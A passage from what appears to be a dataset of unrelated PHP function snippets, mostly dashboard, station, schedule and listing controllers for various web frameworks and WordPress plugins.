\"\\n\", getMenuURL(_('Servers')), $server_results[$i]->server_name, __('Server needs a new configuration built.'));\n\t\t\t}\n\t\t}\n\t}\n\t\n\t/** Zone stats */\n\tbasicGet('fm_' . $__FM_CONFIG[$_SESSION['module']]['prefix'] . 'domains', 'no', 'domain_', 'domain_template');\n\t$domain_count = $fmdb->num_rows;\n\t$domain_results = $fmdb->last_result;\n\tfor ($i=0; $i<$domain_count; $i++) {\n\t\tif (!getSOACount($domain_results[$i]->domain_id) && !$domain_results[$i]->domain_clone_domain_id && \n\t\t\t\t$domain_results[$i]->domain_type == 'master' && \n\t\t\t\tcurrentUserCan(array('access_specific_zones'), $_SESSION['module'], array(0, $domain_results[$i]->domain_id))) {\n\t\t\t$errors .= '<a href=\"zone-records.php?map=' . $domain_results[$i]->domain_mapping . '&domain_id=' . $domain_results[$i]->domain_id;\n\t\t\tif (currentUserCan('manage_zones', $_SESSION['module'])) $errors .= '&record_type=SOA';\n\t\t\t$errors .= '\">' . displayFriendlyDomainName($domain_results[$i]->domain_name) . '</a> - ' . __('Zone does not have a SOA defined.') . \"\\n\";\n\t\t} elseif (!getNSCount($domain_results[$i]->domain_id) && !$domain_results[$i]->domain_clone_domain_id && \n\t\t\t\t$domain_results[$i]->domain_type == 'master' && \n\t\t\t\tcurrentUserCan(array('access_specific_zones'), $_SESSION['module'], array(0, $domain_results[$i]->domain_id))) {\n\t\t\t$errors .= '<a href=\"zone-records.php?map=' . $domain_results[$i]->domain_mapping . '&domain_id=' . $domain_results[$i]->domain_id;\n\t\t\tif (currentUserCan('manage_zones', $_SESSION['module'])) $errors .= '&record_type=NS';\n\t\t\t$errors .= '\">' . displayFriendlyDomainName($domain_results[$i]->domain_name) . '</a> - ' . __('Zone does not have any NS records defined.') . \"\\n\";\n\t\t} elseif ($domain_results[$i]->domain_reload != 'no' && \n\t\t\t\tcurrentUserCan(array('access_specific_zones'), $_SESSION['module'], array(0, $domain_results[$i]->domain_id)) &&\n\t\t\t\tcurrentUserCan('reload_zones', $_SESSION['module'])) {\n\t\t\t$errors .= '<a href=\"' . getMenuURL(ucfirst($domain_results[$i]->domain_mapping)) . '\"><b>' . displayFriendlyDomainName($domain_results[$i]->domain_name) . '</b></a> - ' . __('Zone needs to be reloaded.') . \"\\n\";\n\t\t}\n\t}\n\tif ($errors) {\n\t\t$error_display = '<li>' . str_replace(\"\\n\", \"</li>\\n<li>\", $errors);\n\t\t$error_display = rtrim($error_display, '<li>');\n\t} else $error_display = null;\n\n\t/** Record stats */\n\t$query = 'SELECT COUNT(*) record_count FROM fm_' . $__FM_CONFIG[$_SESSION['module']]['prefix'] . 'records WHERE record_status!=\"deleted\" AND account_id=' . $_SESSION['user']['account_id'] .\n\t\t\t' AND domain_id NOT IN (SELECT domain_id FROM fm_' . $__FM_CONFIG[$_SESSION['module']]['prefix'] . 'domains WHERE domain_status!=\"deleted\" AND account_id=' . $_SESSION['user']['account_id'] .\n\t\t\t' AND domain_template=\"yes\")';\n\t$fmdb->get_results($query);\n\t$record_count = $fmdb->last_result[0]->record_count;\n\n\t$dashboard = sprintf('<div>\n\t<div id=\"shadow_box\">\n\t\t<div id=\"shadow_container\">\n\t\t<h3>%s</h3>\n\t\t<li>%s</li>\n\t\t<li>%s</li>\n\t\t<li>%s</li>\n\t\t</div>\n\t</div>\n\t</div>', __('Summary'),\n\t\t\tsprintf(ngettext('You have <b>%s</b> name server configured.', 'You have <b>%s</b> name servers configured.', $server_count), formatNumber($server_count)),\n\t\t\tsprintf(ngettext('You have <b>%s</b> zone defined.', 'You have <b>%s</b> zones defined.', $domain_count), formatNumber($domain_count)),\n\t\t\tsprintf(ngettext('You have <b>%s</b> record.', 'You have <b>%s</b> records.', $record_count), formatNumber($record_count))\n\t\t\t);\n\n\tif ($error_display) {\n\t\t$dashboard .= sprintf('<div>\n\t<div id=\"shadow_box\">\n\t\t<div id=\"shadow_container\">\n\t\t<h3>%s</h3>\n\t\t%s\n\t\t</div>\n\t</div>\n\t</div>', __('Needs Attention'), $error_display);\n\t}\n\n\treturn $dashboard;\n}", "public function dashboard_widget() {\n\t\t$data = DB::get_stats();\n\t\t?>\n\t\t<h3>\n\t\t\t<?php esc_html_e( 'Redirections', 'rank-math' ); ?>\n\t\t\t<a href=\"<?php echo esc_url( Helper::get_admin_url( 'redirections' ) ); ?>\" class=\"rank-math-view-report\" title=\"<?php esc_html_e( 'View Report', 'rank-math' ); ?>\"><i class=\"dashicons dashicons-ellipsis\"></i></a>\n\t\t</h3>\n\t\t<div class=\"rank-math-dashabord-block\">\n\t\t\t<div>\n\t\t\t\t<h4>\n\t\t\t\t\t<?php esc_html_e( 'Redirection Count', 'rank-math' ); ?>\n\t\t\t\t\t<span class=\"rank-math-tooltip\"><em class=\"dashicons-before dashicons-editor-help\"></em><span><?php esc_html_e( 'Total number of Redirections created in the Rank Math.', 'rank-math' ); ?></span></span>\n\t\t\t\t</h4>\n\t\t\t\t<strong class=\"text-large\"><?php echo esc_html( Str::human_number( $data->total ) ); ?></strong>\n\t\t\t</div>\n\t\t\t<div>\n\t\t\t\t<h4>\n\t\t\t\t\t<?php esc_html_e( 'Redirection Hits', 'rank-math' ); ?>\n\t\t\t\t\t<span class=\"rank-math-tooltip\"><em class=\"dashicons-before dashicons-editor-help\"></em><span><?php esc_html_e( 'Total number of hits received by all the Redirections.', 'rank-math' ); ?></span></span>\n\t\t\t\t</h4>\n\t\t\t\t<strong class=\"text-large\"><?php echo esc_html( Str::human_number( $data->hits ) ); ?></strong>\n\t\t\t</div>\n\t\t</div>\n\t\t<?php\n\t}", "public function index($id){\n $StationData = Station::StationWhereMemberId($id)->first();\n //$StationData = Station::where('Member_ID',$id)->first();\n // $gammaDoseRates = 1500;\n $gammaDoseRates = SensorValue::GammaValue($id)->orderById()->first();\n //$termoDeg = 100;\n $termoDeg = SensorValue::TermoDegValue($id)->OrderById()->first();\t\n //$windDir = \"NNE\";\n $windDir = SensorValue::WindDirValue($id)->OrderById()->first();\n if($windDir){\n\t\t$num = $windDir->SValue;\n $windDir = SensorValue::DegToCompass($num);\n\t}\t\n //$windSpeed = 25;\n $windSpeed = SensorValue::WindSpeedValue($id)->OrderById()->first();\n //$solarRad = 94;\n $solarRad = SensorValue::SolarRadValue($id)->OrderById()->first();\n //$barometer = 1000;\n $barometer = SensorValue::BarometerValue($id)->OrderById()->first();\n //$percipitation = 0;\n $percipitation = SensorValue::PercipitationValue($id)->OrderById()->first();\n //$humidity = 100;\n $humidity = SensorValue::HumidityValue($id)->OrderById()->first();\n\n date_default_timezone_set(\"Asia/Jakarta\");\n\n return view('user.StationLastValue', compact('nameStation', 'termoDeg', 'windDir', 'windSpeed', 'solarRad', 'gammaDoseRates', 'barometer',\n 'percipitation', 'humidity', 'StationData','asd','asdasdasdasd'));\n }", "public function dashboard() {\n\t\t//populate data: tasks, forum discussions, timeline, burndown chart\n\t}", "public function index($station_id)\n {\n //\n $stationName = Station::where('id', $station_id)->first();\n $railroads = Railroad::where('station_id', $station_id)->get();\n return view('railroads.index', [ \n 'railroads' => $railroads,\n 'station_id' => $station_id,\n 'station_name' => $stationName->name\n ]);\n }", "public function showDashboard()\n {\n\n $locations = Location::where('site_type','!=','fiz')->with('device')->get();\n $bgppeers = BGPPeer::get();\n $totalpppoe = \\DB::table('devices')->where('ping','!=','0')->sum('active_pppoe');\n $totaldownlocationslist= Location::where('status', '<', 0)->get();\n $devices = Device::where(\"devicetype_id\",\"=\",\"1\")->get();\n $instantdevice = Device::first();\n\n //return view('home',compact('totalpppoe','gaugechart','totaldownlocationslist','locations'));\n return view('home',compact('sounds','totalpppoe','gaugechart','totaldownlocationslist','locations','devices','bgppeers','instantdevice'));\n }", "public function run()\n {\n Station::unguard();\n DB::table('stations')->insert(\n [\n ['id' =>1, 'name' =>'Stock'],\n ['id' =>2, 'name' =>'Accounts division'],\n ['id' =>3, 'name' =>'IT division'],\n ['id' =>4, 'name' =>'Management division'],\n ['id' =>5, 'name' =>'Kalutara district office'],\n ['id' =>6, 'name' =>'Galle district office'],\n ['id' =>7, 'name' =>'Operations division'],\n ]\n );\n Station::reguard();\n }", "public function dashboard()\n {\n\t\t$traffic = TrafficService::getTraffic();\n\t\t$devices = TrafficService::getDevices();\n\t\t$browsers = TrafficService::getBrowsers();\n\t\t$status = OrderService::getStatus();\n\t\t$orders = OrderService::getOrder();\n\t\t$users = UserService::getTotal();\n\t\t$products = ProductService::getProducts();\n\t\t$views = ProductService::getViewed();\n\t\t$total_view = ProductService::getTotalView();\n\t\t$cashbook = CashbookService::getAccount();\n $stock = StockService::getStock();\n\n return view('backend.dashboard', compact('traffic', 'devices', 'browsers', 'status', 'orders', 'users', 'products', 'views', 'total_view', 'cashbook', 'stock'));\n }", "public function run()\n {\n $stations = Http::get(\"https://api.irail.be/stations/?format=json\")->json();\n foreach ($stations['station'] as $s) {\n $station = new Station();\n $station->name = $s['name'];\n $station->latitude = $s['locationY'];\n $station->longitude = $s['locationX'];\n $station->save();\n }\n }", "public function overview() {\r\n\r\n // load model\r\n require_once APP_PATH . '/models/LocationsModel.php';\r\n\r\n // get all locations\r\n $locationsModel = new LocationsModel();\r\n $locations = $locationsModel->getAll();\r\n\r\n // show views\r\n loadView('theme/header');\r\n loadView('locations/overview', [\r\n 'locations' => $locations,\r\n ]);\r\n loadView('theme/footer');\r\n }", "public function index()\n {\n $schedules = Bus_Schedule::count();\n $regions = Region::count();\n $buses = Buses::count();\n return view('admin.admin-dashboard',compact('schedules','buses','regions'));\n }", "public function show($id)\n\t{\n\t\t$station = $this->station->findOrFail($id);\n\t\t$branches = DB::table('branches')->get();\n\t\treturn View::make('stations.show', compact('station'))\n\t\t->with('branches', $branches);\n\n\t}", "public function index()\n {\n $data = array(\n \"dispensers\" => Dispenser::with(\"stations\")->get(),\n );\n return view(\"dispensers.index\", compact('data'));\n }", "public function scheduler() {\n\n\t\t$user = \\Auth::User();\n\n\t\t$station_id = $user->station->id;\n//\t\t$talk_shows = \\App\\ConnectContent::where('content_type_id', ContentType::GetTalkContentTypeID())\n//\t\t\t->orderBy('start_date')\n//\t\t\t->where('station_id', $station_id)\n//\t\t\t->get();\n\n\t\treturn view('airshrconnect.scheduler')\n\t\t\t->with('WebSocketURL', \\Config::get('app.WebSocketURL'))\n\t\t\t->with('content_type_list', ContentType::$CONTENT_TYPES)\n\t\t\t->with('content_type_list_for_connect', ContentType::$CONTENT_TYPES_FOR_CONNECT)\n\t\t\t->with('content_type_id_for_talkshow', ContentType::GetTalkShowContentTypeID());\n//\t\t\t->with('talk_shows', $talk_shows);\n\n\t}", "public function renderAdminDashboard() {\n $em = $this->getDoctrine()->getEntityManager();\n $today = new \\DateTime();\n $date = strtotime(date_format($today, \"Y/m/d\") . ' -7 day');\n $initialDay = date('Y-m-d', $date);\n $logger = $this->get(\"logger\");\n $logger->info($initialDay);\n $result = $em->getRepository('Tech506CallServiceBundle:TechnicianService')\n ->findServicesCounter($initialDay, date_format($today, \"Y/m/d\"));\n $data = \"\";\n $logger = $this->get(\"logger\");\n foreach($result as $row) {\n $data .= '[\"' . $row['date'] . '\",' . $row['counter'] . '],';\n //$logger->info($row['date'] . \" :: \" . $row['counter']);\n }\n return array('sales_chart_data' => substr($data, 0, -1),\n 'data' => $result\n );\n }", "public function index()\n {\n $islandCount = $this->countIslands($map = $this->newMap(5, 5));\n\n // Format in row / column format and return json\n $json = '<pre>' . preg_replace(\"/\\[\\s+(\\d+),\\n\\s+(\\d+)\\,\\n\\s+(\\d+)\\,\\n\\s+(\\d+)\\,\\n\\s+(\\d+)\\s+\\]/\", \"[$1,$2,$3,$4,$5]\", \n collect(['map' => $map, 'islands' => $islandCount])->toJson(JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)\n ) . '</pre>';\n\n $prettyMap = $this->prettyifyMap($map);\n \n //return response($json)->header('Content-Type', 'application/json');\n\n return view('islands.index', compact('json', 'prettyMap'));\n }", "public function schedule_list_dashboard(Request $req) {\n $draw = $req->draw;\n $today = date(\"Y-m-d\");\n $searchStr = $req->search['value'];\n $schedule = $this->schedule->select('schedule_result.*', 'std.stadium_name', 'ht.team_name as homeTeam', 'vt.team_name as visitingTeam')\n ->leftJoin('teams as ht', 'ht.id', '=', 'schedule_result.home_team_id')\n ->leftJoin('teams as vt', 'vt.id', '=', 'schedule_result.visiting_team_id')\n ->leftJoin('stadiums as std', 'std.id', '=', 'schedule_result.stadium_id')\n ->leftJoin('standings as s', 's.id', '=', 'schedule_result.standing_id')\n ->orderBy('schedule_result.match_date');\n $schedule->where('schedule_result.match_date', '>', $today);\n\n if ($searchStr != '') {\n $schedule->where('ht.team_name', 'like', '%' . $searchStr . '%');\n $schedule->orWhere('vt.team_name', 'like', '%' . $searchStr . '%');\n }\n $total = $schedule->count();\n $schedule->limit($req->length)->offset($req->start);\n $data = $schedule->get();\n $json = '{\n \"draw\": ' . $draw . ',\n \"recordsTotal\": ' . $total . ',\n \"recordsFiltered\": ' . $total . ',';\n\n $json .= '\"data\": [';\n\n $totalData = count($data);\n foreach ($data as $key => $val) {\n $matchDate = $val->match_date . ' ' . $val->match_time;\n $json .='{\n \"dateTime\": \"<strong class=\\\"color_bluegreen\\\">' . date('d-M-Y :: h:i A', strtotime($matchDate)) . '</strong>\",\n \"TeamInfo\": \"<strong class=\\\"color_green\\\">' . $val->homeTeam . '</strong> - VS - <strong class=\\\"color_bluegreen\\\">' . $val->visitingTeam . '</strong>\",\n \"stadium\": \"' . $val->stadium_name . '\"\n }';\n if ($key + 1 < $totalData) {\n $json .=',';\n }\n }\n\n\n $json .= ']}';\n\n\n echo $json;\n }", "public function index()\n\t{\n\t\t$this->data['pagebody'] = 'flight';\n\t\t$this->data['all_flights'] = $this -> flights -> viewAll();\n\t\t$this->render();\n\n }", "public static function widget() {\n \n\t\t$start = self::get_dashboard_widget_option(self::wid, 'starting_conversion');\n\t\t$remaining_days = self::get_dashboard_widget_option(self::wid, 'starting_conversion');\n\t\t\n\t\t// Display Dashboard widget\n\t\trequire_once( 'red-flag-parking-display.php' );\n }", "public function create()\n {\n $data = array(\n \"stations\" => Station::all()\n );\n return view(\"dispensers.create\", compact(\"data\"));\n }", "public function render(){\n\t\t$prefix = su_cmpt();\n\t\t\n\t\t$location = (isset($this->addon->settings->location) && $this->addon->settings->location) ? $this->addon->settings->location : 'Boston, MA';\n\t\t$country = (isset($this->addon->settings->country) && $this->addon->settings->country) ? $this->addon->settings->country : 'USA';\n\t\t$forecast = (isset($this->addon->settings->forecast) && $this->addon->settings->forecast) ? $this->addon->settings->forecast : '4';\n\t\t$color = (isset($this->addon->settings->color) && $this->addon->settings->color) ? $this->addon->settings->color : '#ffffff';\n\t\t$background = (isset($this->addon->settings->background) && $this->addon->settings->background) ? $this->addon->settings->background : '#8DD438';\n\t\t$padding = (isset($this->addon->settings->padding) && $this->addon->settings->padding) ? $this->addon->settings->padding : '25px';\n\t\t$margin = (isset($this->addon->settings->margin) && $this->addon->settings->margin) ? $this->addon->settings->margin : '0px';\n\t\t\n\t\t$city_only = ( $this->addon->settings->city_only == 1 ) ? 'yes' : 'no';\n\t\t\n\t\t$class = (isset($this->addon->settings->class) && $this->addon->settings->class) ? $this->addon->settings->class : '';\n\t\t$api = (isset($this->addon->settings->api) && $this->addon->settings->api) ? $this->addon->settings->api : '';\n\t\t$view = (isset($this->addon->settings->view) && $this->addon->settings->view) ? $this->addon->settings->view : '';\n\t\t$units = (isset($this->addon->settings->units) && $this->addon->settings->units) ? $this->addon->settings->units : '';\n\n\t\t// Output\n\t\t$output = '<div class=\"bdt-addon bdt-addon-weather ' . $class .'\">';\n\t\t$output .= su_do_shortcode('['.$prefix.'weather location=\"'.$location.'\" country=\"'.$country.'\" city_only=\"'.$city_only.'\" forecast=\"'.$forecast.'\" api=\"'.$api.'\" view=\"'.$view.'\" units=\"'.$units.'\" color=\"inherit\" background=\"inherit\"]');\n\t\t$output .= '</div>';\n\n\t\treturn $output;\n\t}", "public function getAllStations(){\n return $this->stationRequest->getAllStations();\n }", "public function schedStrat() {\n\t\t$pageTitle = 'Scheduling Strategies';\n\t\t// $stylesheet = '';\n\n\t\tinclude_once SYSTEM_PATH.'/view/header.php';\n\t\tinclude_once SYSTEM_PATH.'/view/academic-help/tmsub-sched-strat.php';\n\t\tinclude_once SYSTEM_PATH.'/view/footer.php';\n\t}", "public function index()\n\t{\n\t\t$trainings = Training::select(DB::raw('id, title'))\n\t\t\t\t\t\t\t->where('isActive','=',true)\n\t\t\t\t\t\t\t->where('isInternalTraining','=',true)\n\t\t\t\t\t\t\t->where('isTrainingPlan','=',true)\n\t\t\t\t\t\t\t->get();\n\n\t\t$consecutive_trainings = array();\n\t\t$separated_trainings = array();\n\n\t\tforeach ($trainings as $key => $value) {\n\t\t\tif($value->is_consecutive)\n\t\t\t{\n\t\t\t\tarray_push($consecutive_trainings, $value);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tforeach ($value->all_date as $k => $v) {\n\t\t\t\t\tarray_push($separated_trainings, array('id' => $value->id, 'title' => $value->title, 'start' => $v->date_scheduled));\n\t\t\t\t}\t\t\t\t\n\t\t\t}\n\t\t}\n\n\t\treturn View::make('training_plan.index')\n\t\t\t\t\t->with('consecutive_trainings',$consecutive_trainings)\n\t\t\t\t\t->with('separated_trainings',$separated_trainings);\n\t}", "public function index()\n {\n // $data = sensor::create([\n // 'sensor1' => '10.2',\n // 'sensor2' => '11',\n // 'sensor3' => '12',\n // 'sensor4' => '13',\n // ]);\n $data = sensor::latest()->first();\n\n return view('Monitoring/dashboard',['data'=>$data]);\n }", "function dashboard($widget_id = NULL) {\n\t\t$clean = new Sanitize();\n\t\t$my = $this->core['my'];\n\t\t$user = $my;\n\t\t$id = $my['id'];\n\t\t$streamname = NULL;\n\t\tif(isset($this->params['streamname']))\n\t\t\t$streamname = $this->params['streamname'];\t\n\t\t\t\t\t\n\t\tif(empty($my['id'])){\n\t\t\tif(isset($streamname)){\n\t\t\t\t$this->redirect(array('controller'=> 'streams', 'action'=>'pub', 'streamname' => $streamname));\t\t\t\n\t\t\t}else{\n\t\t\t\t$this->Session->setFlash(__('Incorrect collection link, please check the URL you entered', true));\n\t\t\t\t$this->redirect(array('controller'=> 'hello', 'action'=>'about'));\t\t\t\n\t\t\t}\n\t\t}else if($my['hasConfirmed'] == 0)\n\t\t\t$this->Session->setFlash(__('Please check your inbox to confirm your email address.', 'default', array(), 'error'));\n\n\n\t\t\t\n\t\t$streamsResults = $this->Stream->getByStreamname($streamname, $this->core['my']['id']);\n\t\t\t\n\t\tif(empty($streamsResults)){\n\t\t\t$this->Session->setFlash(__('The Collection was not found. Please check that you entered the correct link.', true));\n\t\t\t$this->redirect(array('controller'=> 'users', 'action'=>'dashboard', 'username'=>$my['username']));\t\t\n\t\t}else{\n\t\t\t$stream_id = $streamsResults[0]['Stream']['id'];\n\t\t\t$this->pageTitle = $streamsResults[0]['Stream']['stream'];\n\t\t}\n\t\t//debug($streamsResults);\n\t\t$streamsList = $this->Stream->getStreamsList_server($streamsResults, $my);\n\t\t//debug($streamsList);\n\t\t\n\t\t$this->Stream->getStreamname($streamsResults[0]['Stream']['stream']);\n\t\t\n\t\t$streamListTypesToAvoid = array(\"Requested\");\n\t\tif ($id != $my['id'])\n\t\t{\n\t\t\t$streamListTypesToAvoid[] = \"Hidden\";\n\t\t\t$streamListTypesToAvoid[] = \"Closed\";\n\t\t\t$streamListTypesToAvoid[] = \"Archive\";\n\t\t}\n\t\t\n\t\t$getStreamIdsAndActiveStreamIdResults = $this->Stream->__getStreamIdsAndActiveStreamId($stream_id, $streamsList, array(\"Default\", \"Invited\", \"Requested\", \"Hidden\", \"Closed\", \"Open\", \"Archive\"), $streamListTypesToAvoid);\n\n\t\t$selectStreamId = $getStreamIdsAndActiveStreamIdResults['selectStreamId'];\n\t\t$streamsIds = $getStreamIdsAndActiveStreamIdResults['streamsIds']; //compiles the list of stream ids that were retrieved\n\t\t//debug($selectStreamId);\n\t\t\n\t\t$widgetsResults = $this->Stream->User->UsersWidget->__getWidgetsForUser($my['id'], $my['id']);\n\t\t$widgetsList = $widgetsResults;\n\t\t\n\t\t$selectWidgetId = $widget_id;\n\t\t//debug($widgetsList);\n\n\t\t$contextUser = \"thinkPanda.Context.clear();thinkPanda.Context.setUser('#userBox_\".$user['id'].\"', '.contextItem', \".$user['id'].\");\";\n\t\t//.\"thinkPanda.Widget.load();\"\n\t\t$shortcuts = array(\n\t\t\tarray(\n\t\t\t\t'id' => \"notificationProfiles\",\n\t\t\t\t'onclick'\t=> \"thinkPanda.Widget.set('#widget_button_profiles', '.widget_button', '#workspace_default', 'profiles');\". $contextUser,\n\t\t\t\t'title' => $user['fullname'].'\\'s Profile',\n\t\t\t\t'image' => '/profiles/img/icon.png'\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'id' => \"notificationThinkers\",\n\t\t\t\t'onclick'\t=> \"thinkPanda.Widget.set('#widget_button_thinkers', '.widget_button', '#workspace_default', 'thinkers');\". $contextUser,\n\t\t\t\t'title' => $user['fullname'].'\\'s Thinkers Network',\n\t\t\t\t'image' => '/thinkers/img/icon.png'\n\t\t\t),\t\t\t\n\t\t\tarray(\n\t\t\t\t'id' => \"notificationThoughts\",\n\t\t\t\t'onclick'\t=> \"thinkPanda.Widget.set('#widget_button_thoughts', '.widget_button', '#workspace_default', 'thoughts');\". $contextUser,\n\t\t\t\t'title' => $user['fullname'].'\\'s Thoughts',\n\t\t\t\t'image' => '/thoughts/img/icon.png'\n\t\t\t),\n\t\t);\n\n\t\t// SET VARIABLES\n\t\t\n\t\t//$this->pageTitle = $this->User->user['User']['fullname'];\n\t\t//$entityOn = $this->core['entityOn'];\n\t\t$this->set(compact('streamsList', 'selectStreamId', 'widgetsList', 'selectWidgetId', 'entityOn', 'shortcuts'));\n\t}", "public function actionDashboard(){\n \t$dados_dashboard = Yii::app()->user->getState('dados_dashbord_final');\n \t$this->render ( 'dashboard', $dados_dashboard);\n }", "function dashboard() {\r\n\t\t\tTrackTheBookView::render('dashboard');\r\n\t\t}", "public function create()\n {\n return view(layouts.configurestation);\n }", "public function index()\n {\n return $this->list->setQuery(Place::with('map')->where('map_id', $this->map->id))->setAddAction(sprintf('maps/%s/places/create', $this->map->id))->render(function ($item) {\n return [\n trans('mconsole::tables.id') => $item->id,\n trans('mconsole::place.table.name') => $item->name,\n trans('mconsole::place.table.address') => $item->address,\n ];\n });\n }", "public function index() {\n\n\n $uri = $this->uri->segment(1);\n \n $all_data = $this->Seatmodel->load_all_data();\n \n $this->data = array();\n $this->data['uri'] = $uri;\n $this->data['all_data'] = $all_data;\n\n \n $this->middle = 'seats/admin/list';\n $this->admin_layout();\n }", "public function addStation()\n {\n $name = $_GET['name'];\n $zone = $_GET['zone'];\n\n if ($this->model->addStation($name, $zone))\n return 'Station ajoutée !';\n return 'Cette station existe déjà';\n }", "public function display() {\n\t\t$this->prepareForDisplay();\n\n\t\techo '<div class=\"panel-heading\">';\n\t\t$this->displayHeader($this->Header, $this->getNavigation());\n\t\techo '</div>';\n\t\techo '<div class=\"panel-content statistics-container\">';\n\t\t$this->displayContent();\n\t\techo '</div>';\n\t}", "function section__plot(){\n $app =& Dataface_Application::getInstance();\n $record =& $app->getRecord();\n $sensors = df_get_records_array('sensors', array('id_station'=>$record->val('id_station'),\n 'type_station'=>$record->val('type_station')));\n \n $content = \"To view all related sensors of station \".$record->val('id_station').\"(\".$record->val('type_station').\")\".\n \" <a href='index.php?-table=sensors&id_station==\".$record->val('id_station').\"&type_station==\".\n $record->val('type_station').\"'>click here</a><br/><br/>\";\n /*create the content array*/\n $content .= \"<select onchange='window.location.href=this.options[this.selectedIndex].value'>\";\n $content .= \"<option>Select Sensor...</option>\";\n \n foreach ($sensors as $sensor){\n /* Only include entries with id_station and type_station corresponding to the application instance (LV - v.1.1.3*/\n if ($sensor->val('id_station') == $record->val('id_station') && $sensor->val('type_station') == $record->val('type_station')){\n $content .= \"<option value='index.php?-table=sensors&type_station==\".$sensor->val('type_station')\n .\"&id_station==\".$sensor->val('id_station')\n .\"&sensor==\".$sensor->val('sensor')\n .\"&type_timeseries==\".$sensor->val('type_timeseries').\"&-action=plot'>\"\n .$sensor->val('description').\" [aggregation-sensor: \".$sensor->val('sensor').\" | \".$sensor->val('sensortype').\"]</option>\"; \n }\n }\n $content .= \"</select><br>\"; \n $content .= \" Aggregation types are I (Instantenious), J (Daily) or M (Monthly)<br/>\";\n return array(\n 'content' => $content,\n 'class' => 'main',\n 'label' => 'Plot Timeseries',\n 'order' => 0\n );\n }", "public function index()\n {\n $schedules = Bus_Schedule::all();\n $regions = Region::statusActive()->get();\n $buses = Buses::statusActive()->get();\n $operators = Operator::all();\n\n return view('admin.bus_schedule.bus-schedule-list',\n compact('schedules','regions','buses','operators'));\n }", "function markup($id, $stationName) {\n return '<div class=\"graph flow-graph\" id=\"'.$id.'\">'.\n //'<h2>'.$stationName.'</h2>'.\n '<p><input type=\"text\" id=\"'.$id.'-date-from\" class=\"date-picker\" /> – <input type=\"text\" id=\"'.$id.'-date-to\" class=\"date-picker\" /><button id=\"'.$id.'-change-btn\">Show</button></p>'.\n '<p id=\"'.$id.'-graph\"></p>'.\n '<p id=\"'.$id.'-data-toggle\"><a href=\"#\">Show Data</a></p>'.\n '<p id=\"'.$id.'-table\" class=\"table\" style=\"display: none;\"></p>'.\n '</div>'.\n '<script type=\"text/javascript\">$(\"#'.$id.'-date-from\").datepicker({ dateFormat: \"dd/mm/yy\" }); $(\"#'.$id.'-date-from\").datepicker(\"setDate\", then); $(\"#'.$id.'-date-to\").datepicker({ dateFormat: \"dd/mm/yy\" }); $(\"#'.$id.'-date-to\").datepicker(\"setDate\", now); $(\"#'.$id.'-change-btn\").on(\"click\", function() { plotGraph(this.id.replace(\"-change-btn\", \"\"))}); plotGraph(\"'.$id.'\"); $(\"#'.$id.'-data-toggle a\").on(\"click\", function(evt) { evt.stopPropagation(); evt.preventDefault(); $(\"#\" + this.parentNode.id.replace(\"-data-toggle\", \"-table\")).toggle(); })</script>';\n}", "function dashboard_widget_display() {\n\t\techo '<div class=\"escalate-dashboard-loading\">Loading Stats</div>';\n\t}", "public function Dashboard(){\n\t\tif($this->IsLoggedIn('super_admin')){\n\t\t\t$data = $this->GetDataForSuperAdmin(\"Dashboard\");\n\t\t\t$data['sidebar_collapsed'] = \"true\";\n\t\t\t$data['admin_list']=$this->SuperAdminModel->FullTable('mss_business_admin');\n\t\t\t$data['admin_list']=$data['admin_list']['res_arr'];\n\t\t\t$data['active_admin']=$this->SuperAdminModel->ActiveAdminDetails();\n\t\t\t$data['active_admin']=$data['active_admin']['res_arr'];\n\t\t\t$data['master_admin']=$this->SuperAdminModel->FullTable('mss_master_admin');\n\t\t\t$data['master_admin']=$data['master_admin']['res_arr'];\n\t\t\t/*$this->PrettyPrintArray($data);\n\t\t\tdie;*/\n\t\t\t$this->load->view('superAdmin/sa_dashboard_view',$data);\n\t\t}\n\t\telse{\n\t\t\t$this->LogoutUrl(base_url().\"SuperAdmin/Login\");\n\t\t}\n\t}", "public function view() {\n \n // Get the user's plan\n $user_plan = get_user_option( 'plan', $this->CI->user_id );\n \n // Get plan end\n $plan_end = get_user_option( 'plan_end', $this->CI->user_id );\n \n // Get plan data\n $plan_data = $this->CI->plans->get_plan( $user_plan );\n \n // Set widgets\n $widgets = array();\n \n // Get default widgets\n $default_widgets = array();\n \n if ( get_option('app_dashboard_left_side_position') && get_option('app_dashboard_enable_default_widgets') ) {\n\n $full_size = 'col-xl-5';\n\n $plan_data[0]['size'] = 6;\n\n } else {\n\n $full_size = 'col-xl-12';\n\n $plan_data[0]['size'] = 3;\n\n } \n\n if ( get_option('app_dashboard_enable_default_widgets') ) {\n \n foreach ( glob(MIDRUB_DASHBOARD_APP_PATH . '/widgets/*.php') as $filename ) {\n\n $className = str_replace( array( MIDRUB_DASHBOARD_APP_PATH . '/widgets/', '.php' ), '', $filename );\n\n // Create an array\n $array = array(\n 'MidrubApps',\n 'Collection',\n 'Dashboard',\n 'Widgets',\n ucfirst($className)\n ); \n\n // Implode the array above\n $cl = implode('\\\\',$array);\n\n // Instantiate the class\n $response = (new $cl())->display_widget( $this->CI->user_id, $plan_end, $plan_data );\n\n // Add widget to $default_widgets array\n $default_widgets[$response['order']] = $response['widget'];\n\n }\n\n arsort($default_widgets);\n \n if ( $default_widgets ) {\n \n $widgets[0] = '<div class=\"' . $full_size . ' col-lg-12 col-md-12 stats\">'\n . '<div class=\"row\">';\n\n $i = 0;\n \n foreach ( $default_widgets as $widget ) {\n \n if ( get_option('app_dashboard_left_side_position') && $i % 1 ) {\n \n $widgets[0] .= '</div><div class=\"row\">';\n \n }\n \n $widgets[0] .= $widget;\n \n $i++;\n \n }\n \n $widgets[0] .= '</div>'\n . '</div>';\n \n }\n \n }\n \n $apps_widgets = array();\n \n foreach ( glob( MIDRUB_APPS_PATH . '/collection/*') as $directory ) {\n\n $dir = str_replace( MIDRUB_APPS_PATH . '/collection/', '', $directory );\n \n if ( !get_option('app_' . $dir . '_enable') || !plan_feature('app_' . $dir) ) {\n continue;\n }\n\n if ( $dir === 'dashboard' ) {\n \n continue;\n \n } else {\n \n // Create an array\n $array = array(\n 'MidrubApps',\n 'Collection',\n ucfirst($dir),\n 'Main'\n ); \n\n // Implode the array above\n $cl = implode('\\\\',$array);\n\n // Instantiate the class\n $response = (new $cl())->widgets( $this->CI->user_id, $plan_end, $plan_data );\n \n foreach ( $response as $key => $value ) {\n \n // Add widget to $apps_widgets array\n $apps_widgets[$key] = $value;\n \n }\n \n }\n\n }\n\n if ( 